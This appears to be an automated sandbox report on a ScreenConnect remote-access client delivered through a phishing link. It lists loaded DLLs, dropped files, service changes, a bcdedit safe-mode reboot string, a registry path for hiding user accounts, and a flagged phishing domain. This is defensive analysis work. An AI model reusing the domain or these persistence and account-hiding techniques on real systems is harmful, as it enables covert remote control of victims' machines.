Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: wkscli.dll
Source: C:\Users\user\Downloads\support.Client.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020420-0000-0000-C000-000000000046}\InprocServer32 Jump to behavior
Source: Google Drive.lnk.0.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.14.dr, ScreenConnect.WindowsFileManager.exe.14.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Misc\Bootstrapper\Release\ClickOnceRunner.pdb source: support.Client.exe, 0000000D.00000000.1408916929.000000000025B000.00000002.00000001.01000000.00000006.sdmp, Unconfirmed 974768.crdownload.0.dr, chromecache_128.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A346A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000012.00000002.1943559410.0000000002E62000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2409619705.0000000003041000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000015.00000002.2004992616.00000000010D0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000015.00000002.2005207241.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.dll0.14.dr, ScreenConnect.ClientService.dll.14.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000012.00000000.1939664334.00000000007FD000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.ClientService.exe.14.dr, ScreenConnect.ClientService.exe0.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32A8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000011.00000002.1949508964.000000001BB02000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Windows.dll.14.dr, ScreenConnect.Windows.dll0.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000011.00000000.1931309778.0000000000782000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.14.dr, ScreenConnect.WindowsClient.exe.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.14.dr, ScreenConnect.WindowsBackstageShell.exe0.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32A4000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000011.00000002.1946388041.00000000028C2000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.Client.dll0.14.dr, ScreenConnect.Client.dll.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb] source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A32A4000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000011.00000002.1946388041.00000000028C2000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.Client.dll0.14.dr, ScreenConnect.Client.dll.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdbY/ source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A329F000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000012.00000002.1944397148.0000000005402000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Core.dll0.14.dr, ScreenConnect.Core.dll.14.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A329F000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000012.00000002.1944397148.0000000005402000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Core.dll0.14.dr, ScreenConnect.Core.dll.14.dr
Binary contains a suspicious time stamp
Source: ScreenConnect.ClientService.dll.14.dr Static PE information: 0xF0DD68C1 [Mon Jan 20 07:41:53 2098 UTC]
PE file contains an invalid checksum
Source: chromecache_128.1.dr Static PE information: real checksum: 0x177d1 should be: 0x175ce
Source: bfb7a509-8b20-4376-b9ba-bfeeb014e662.tmp.0.dr Static PE information: real checksum: 0x177d1 should be: 0x48de
Source: Unconfirmed 974768.crdownload.0.dr Static PE information: real checksum: 0x177d1 should be: 0x175ce

Persistence and Installation Behavior
barindex
AI detected suspicious URL
Source: Email JoeBoxAI: AI detected Brand spoofing attempt in URL: URL: https://cp9856.chelokipotlester.icu
Source: Email JoeBoxAI: AI detected Typosquatting in URL: URL: https://cp9856.chelokipotlester.icu
Source: Email JoeBoxAI: AI detected suspicious URL: URL: https://cp9856.chelokipotlester.icu
Drops PE files
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\Downloads\support.Client.exe (copy) Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsClient.exe Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: Chrome Cache Entry: 128 Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.ClientService.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..dows_4b14c015c87c1ad8_0017.0009_none_6a433ce92d10b8e9\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..ient_4b14c015c87c1ad8_0017.0009_none_c7123e2bd9a688c6\ScreenConnect.WindowsClient.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\Downloads\Unconfirmed 974768.crdownload Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..core_4b14c015c87c1ad8_0017.0009_none_65cb6507f0c2a5b9\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..vice_4b14c015c87c1ad8_0017.0009_none_171efd5086820924\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\Downloads\bfb7a509-8b20-4376-b9ba-bfeeb014e662.tmp Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\VPHPX4NN.BTC\4JXNCLAQ.OW1\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..ient_4b14c015c87c1ad8_0017.0009_none_fbe0c2da0011fbbd\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre...exe_25b0fbb6ef7eb094_0017.0009_none_aa62037c34f7a445\ScreenConnect.ClientService.exe Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: Chrome Cache Entry: 128
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: Chrome Cache Entry: 128 Jump to dropped file
May use bcdedit to modify the Windows boot settings
Source: ScreenConnect.ClientService.dll0.14.dr Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Source: ScreenConnect.ClientService.dll.14.dr Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Creates or modifies windows services
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application
Modifies existing windows services
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (5999b697-2fc8-47f6-a1dc-4d0d274c363e)
Stores files to the Windows start menu directory
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Contains functionality to hide user accounts
Source: ScreenConnect.WindowsClient.exe, 00000011.00000002.1949508964.000000001BB02000.00000002.00000001.01000000.00000010.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.exe, 00000012.00000002.1943559410.0000000002E62000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2409619705.0000000003041000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
